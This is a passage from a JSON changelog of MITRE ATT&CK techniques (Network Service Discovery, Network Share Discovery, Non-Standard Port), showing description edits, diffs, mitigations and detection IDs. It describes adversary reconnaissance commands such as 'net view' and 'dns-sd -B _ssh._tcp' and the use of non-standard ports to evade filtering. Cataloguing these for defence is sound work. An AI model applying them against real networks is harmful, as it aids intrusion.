as well.\\n\\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \\n \\n-Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\\n+Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to an on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\\n \\n Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)\"}}}",
                    "previous_version": "3.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to6__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to6__0\"><a href=\"#difflib_chg_to6__top\">t</a></td><td class=\"diff_header\" id=\"from6_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;get&nbsp;a&nbsp;listing&nbsp;of&nbsp;services&nbsp;running</td><td class=\"diff_next\"><a href=\"#difflib_chg_to6__top\">t</a></td><td class=\"diff_header\" id=\"to6_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;get&nbsp;a&nbsp;listing&nbsp;of&nbsp;services&nbsp;running</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;on&nbsp;remote&nbsp;hosts&nbsp;and&nbsp;local&nbsp;network&nbsp;infrastructure&nbsp;devices,&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;on&nbsp;remote&nbsp;hosts&nbsp;and&nbsp;local&nbsp;network&nbsp;infrastructure&nbsp;devices,&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ncluding&nbsp;those&nbsp;that&nbsp;may&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;remote&nbsp;software&nbsp;exp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ncluding&nbsp;those&nbsp;that&nbsp;may&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;remote&nbsp;software&nbsp;exp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loitation.&nbsp;Common&nbsp;methods&nbsp;to&nbsp;acquire&nbsp;this&nbsp;information&nbsp;includ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loitation.&nbsp;Common&nbsp;methods&nbsp;to&nbsp;acquire&nbsp;this&nbsp;information&nbsp;includ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;port,&nbsp;vulnerability,&nbsp;and/or&nbsp;wordlist&nbsp;scans&nbsp;using&nbsp;tools&nbsp;tha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;port,&nbsp;vulnerability,&nbsp;and/or&nbsp;wordlist&nbsp;scans&nbsp;using&nbsp;tools&nbsp;tha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;are&nbsp;brought&nbsp;onto&nbsp;a&nbsp;system.(Citation:&nbsp;CISA&nbsp;AR21-126A&nbsp;FIVEHA</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;are&nbsp;brought&nbsp;onto&nbsp;a&nbsp;system.(Citation:&nbsp;CISA&nbsp;AR21-126A&nbsp;FIVEHA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">NDS&nbsp;May&nbsp;2021)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Within&nbsp;cloud&nbsp;environments,&nbsp;adversaries&nbsp;may</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">NDS&nbsp;May&nbsp;2021)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Within&nbsp;cloud&nbsp;environments,&nbsp;adversaries&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;attempt&nbsp;to&nbsp;discover&nbsp;services&nbsp;running&nbsp;on&nbsp;other&nbsp;cloud&nbsp;hosts.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;attempt&nbsp;to&nbsp;discover&nbsp;services&nbsp;running&nbsp;on&nbsp;other&nbsp;cloud&nbsp;hosts.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Additionally,&nbsp;if&nbsp;the&nbsp;cloud&nbsp;environment&nbsp;is&nbsp;connected&nbsp;to&nbsp;a&nbsp;on-</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Additionally,&nbsp;if&nbsp;the&nbsp;cloud&nbsp;environment&nbsp;is&nbsp;connected&nbsp;to&nbsp;a<span class=\"diff_add\">n</span>&nbsp;on</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">premises&nbsp;environment,&nbsp;adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;identify&nbsp;se</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-premises&nbsp;environment,&nbsp;adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;identify&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rvices&nbsp;running&nbsp;on&nbsp;non-cloud&nbsp;systems&nbsp;as&nbsp;well.&nbsp;&nbsp;Within&nbsp;macOS&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervices&nbsp;running&nbsp;on&nbsp;non-cloud&nbsp;systems&nbsp;as&nbsp;well.&nbsp;&nbsp;Within&nbsp;macOS&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nvironments,&nbsp;adversaries&nbsp;may&nbsp;use&nbsp;the&nbsp;native&nbsp;Bonjour&nbsp;applicat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">environments,&nbsp;adversaries&nbsp;may&nbsp;use&nbsp;the&nbsp;native&nbsp;Bonjour&nbsp;applica</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;to&nbsp;discover&nbsp;services&nbsp;running&nbsp;on&nbsp;other&nbsp;macOS&nbsp;hosts&nbsp;within</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;to&nbsp;discover&nbsp;services&nbsp;running&nbsp;on&nbsp;other&nbsp;macOS&nbsp;hosts&nbsp;withi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;network.&nbsp;The&nbsp;Bonjour&nbsp;mDNSResponder&nbsp;daemon&nbsp;automatically&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;a&nbsp;network.&nbsp;The&nbsp;Bonjour&nbsp;mDNSResponder&nbsp;daemon&nbsp;automatically&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">egisters&nbsp;and&nbsp;advertises&nbsp;a&nbsp;host\u2019s&nbsp;registered&nbsp;services&nbsp;on&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">registers&nbsp;and&nbsp;advertises&nbsp;a&nbsp;host\u2019s&nbsp;registered&nbsp;services&nbsp;on&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">network.&nbsp;For&nbsp;example,&nbsp;adversaries&nbsp;can&nbsp;use&nbsp;a&nbsp;mDNS&nbsp;query&nbsp;(such</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;network.&nbsp;For&nbsp;example,&nbsp;adversaries&nbsp;can&nbsp;use&nbsp;a&nbsp;mDNS&nbsp;query&nbsp;(suc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;&lt;code&gt;dns-sd&nbsp;-B&nbsp;_ssh._tcp&nbsp;.&lt;/code&gt;)&nbsp;to&nbsp;find&nbsp;other&nbsp;system</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;as&nbsp;&lt;code&gt;dns-sd&nbsp;-B&nbsp;_ssh._tcp&nbsp;.&lt;/code&gt;)&nbsp;to&nbsp;find&nbsp;other&nbsp;syste</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;broadcasting&nbsp;the&nbsp;ssh&nbsp;service.(Citation:&nbsp;apple&nbsp;doco&nbsp;bonjour</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ms&nbsp;broadcasting&nbsp;the&nbsp;ssh&nbsp;service.(Citation:&nbsp;apple&nbsp;doco&nbsp;bonjou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;description)(Citation:&nbsp;macOS&nbsp;APT&nbsp;Activity&nbsp;Bradley)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;description)(Citation:&nbsp;macOS&nbsp;APT&nbsp;Activity&nbsp;Bradley)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1030: Network Segmentation",
                            "M1031: Network Intrusion Prevention",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0376: Behavioral Detection Strategy for Network Service Discovery Across Platforms"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-12-14 16:46:06.044000+00:00",
                    "modified": "2026-11-04 00:30:50.851000+00:00",
                    "name": "Network Share Discovery",
                    "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol.(Citation: Wikipedia Shared Resource)(Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "discovery"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1135",
                            "external_id": "T1135"
                        },
                        {
                            "source_name": "TechNet Shared Folder",
                            "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.",
                            "url": "https://technet.microsoft.com/library/cc770880.aspx"
                        },
                        {
                            "source_name": "Wikipedia Shared Resource",
                            "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.",
                            "url": "https://en.wikipedia.org/wiki/Shared_resource"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Praetorian"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "3.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:30:50.851000+00:00\", \"old_value\": \"2025-10-24 17:48:37.475000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \\n\\nFile sharing over a Windows network occurs over the SMB protocol.(Citation: Wikipedia Shared Resource)(Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\\\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.\", \"old_value\": \"Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \\n\\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\\\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \\n \\n-File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\\\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.\\n+File sharing over a Windows network occurs over the SMB protocol.(Citation: Wikipedia Shared Resource)(Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\\\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "3.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to156__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to156__0\"><a href=\"#difflib_chg_to156__top\">t</a></td><td class=\"diff_header\" id=\"from156_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;look&nbsp;for&nbsp;folders&nbsp;and&nbsp;drives&nbsp;shared&nbsp;on&nbsp;remote</td><td class=\"diff_next\"><a href=\"#difflib_chg_to156__top\">t</a></td><td class=\"diff_header\" id=\"to156_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;look&nbsp;for&nbsp;folders&nbsp;and&nbsp;drives&nbsp;shared&nbsp;on&nbsp;remote</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems&nbsp;as&nbsp;a&nbsp;means&nbsp;of&nbsp;identifying&nbsp;sources&nbsp;of&nbsp;information&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems&nbsp;as&nbsp;a&nbsp;means&nbsp;of&nbsp;identifying&nbsp;sources&nbsp;of&nbsp;information&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;gather&nbsp;as&nbsp;a&nbsp;precursor&nbsp;for&nbsp;Collection&nbsp;and&nbsp;to&nbsp;identify&nbsp;potent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;gather&nbsp;as&nbsp;a&nbsp;precursor&nbsp;for&nbsp;Collection&nbsp;and&nbsp;to&nbsp;identify&nbsp;potent</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ial&nbsp;systems&nbsp;of&nbsp;interest&nbsp;for&nbsp;Lateral&nbsp;Movement.&nbsp;Networks&nbsp;often</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ial&nbsp;systems&nbsp;of&nbsp;interest&nbsp;for&nbsp;Lateral&nbsp;Movement.&nbsp;Networks&nbsp;often</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;contain&nbsp;shared&nbsp;network&nbsp;drives&nbsp;and&nbsp;folders&nbsp;that&nbsp;enable&nbsp;users</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;contain&nbsp;shared&nbsp;network&nbsp;drives&nbsp;and&nbsp;folders&nbsp;that&nbsp;enable&nbsp;users</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;access&nbsp;file&nbsp;directories&nbsp;on&nbsp;various&nbsp;systems&nbsp;across&nbsp;a&nbsp;netw</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;access&nbsp;file&nbsp;directories&nbsp;on&nbsp;various&nbsp;systems&nbsp;across&nbsp;a&nbsp;netw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ork.&nbsp;&nbsp;&nbsp;File&nbsp;sharing&nbsp;over&nbsp;a&nbsp;Windows&nbsp;network&nbsp;occurs&nbsp;over&nbsp;the&nbsp;S</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ork.&nbsp;&nbsp;&nbsp;File&nbsp;sharing&nbsp;over&nbsp;a&nbsp;Windows&nbsp;network&nbsp;occurs&nbsp;over&nbsp;the&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MB&nbsp;protocol.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Wikipedia&nbsp;Shared&nbsp;Resource)<span class=\"diff_sub\">&nbsp;</span>(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MB&nbsp;protocol.(Citation:&nbsp;Wikipedia&nbsp;Shared&nbsp;Resource)(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;TechNet&nbsp;Shared&nbsp;Folder)&nbsp;[Net](https://attack.mitre.org/soft</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TechNet&nbsp;Shared&nbsp;Folder)&nbsp;[Net](https://attack.mitre.org/softwa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ware/S0039)&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;query&nbsp;a&nbsp;remote&nbsp;system&nbsp;for&nbsp;availab</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re/S0039)&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;query&nbsp;a&nbsp;remote&nbsp;system&nbsp;for&nbsp;available</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;shared&nbsp;drives&nbsp;using&nbsp;the&nbsp;&lt;code&gt;net&nbsp;view&nbsp;\\\\\\\\remotesystem&lt;/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;shared&nbsp;drives&nbsp;using&nbsp;the&nbsp;&lt;code&gt;net&nbsp;view&nbsp;\\\\\\\\remotesystem&lt;/co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;&nbsp;command.&nbsp;It&nbsp;can&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;query&nbsp;shared&nbsp;drives&nbsp;on</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;&nbsp;command.&nbsp;It&nbsp;can&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;query&nbsp;shared&nbsp;drives&nbsp;on&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;local&nbsp;system&nbsp;using&nbsp;&lt;code&gt;net&nbsp;share&lt;/code&gt;.&nbsp;For&nbsp;macOS,&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;local&nbsp;system&nbsp;using&nbsp;&lt;code&gt;net&nbsp;share&lt;/code&gt;.&nbsp;For&nbsp;macOS,&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;&lt;code&gt;sharing&nbsp;-l&lt;/code&gt;&nbsp;command&nbsp;lists&nbsp;all&nbsp;shared&nbsp;points&nbsp;u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&lt;code&gt;sharing&nbsp;-l&lt;/code&gt;&nbsp;command&nbsp;lists&nbsp;all&nbsp;shared&nbsp;points&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sed&nbsp;for&nbsp;smb&nbsp;services.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;for&nbsp;smb&nbsp;services.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1028: Operating System Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0182: Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-14 18:18:32.443000+00:00",
                    "modified": "2026-11-03 20:07:36.359000+00:00",
                    "name": "Non-Standard Port",
                    "description": "Adversaries may communicate using a protocol and port pairing that are typically not associated (for example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443). Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1571",
                            "external_id": "T1571"
                        },
                        {
                            "source_name": "Symantec Elfin Mar 2019",
                            "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                            "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"
                        },
                        {
                            "source_name": "change_rdp_port_conti",
                            "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.",
                            "url": "https://x.com/TheDFIRReport/status/1498657772254240768"
                        },
                        {
                            "source_name": "Fortinet Agent Tesla April 2018",
                            "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.",
                            "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "ESXi",
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.3",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 20:07:36.359000+00:00\", \"old_value\": \"2026-09-03 19:46:48.006000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may communicate using a protocol and port pairing that are typically not associated (for example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443). Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\\n\\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)\", \"old_value\": \"Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\\n\\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\\n+Adversaries may communicate using a protocol and port pairing that are typically not associated (for example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443). Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\\n \\n Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"University of Birmingham C2\", \"description\": \"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved September 3, 2026.\", \"url\": \"https://arxiv.org/pdf/1408.1136\"}}}",
                    "previous_version": "1.3",
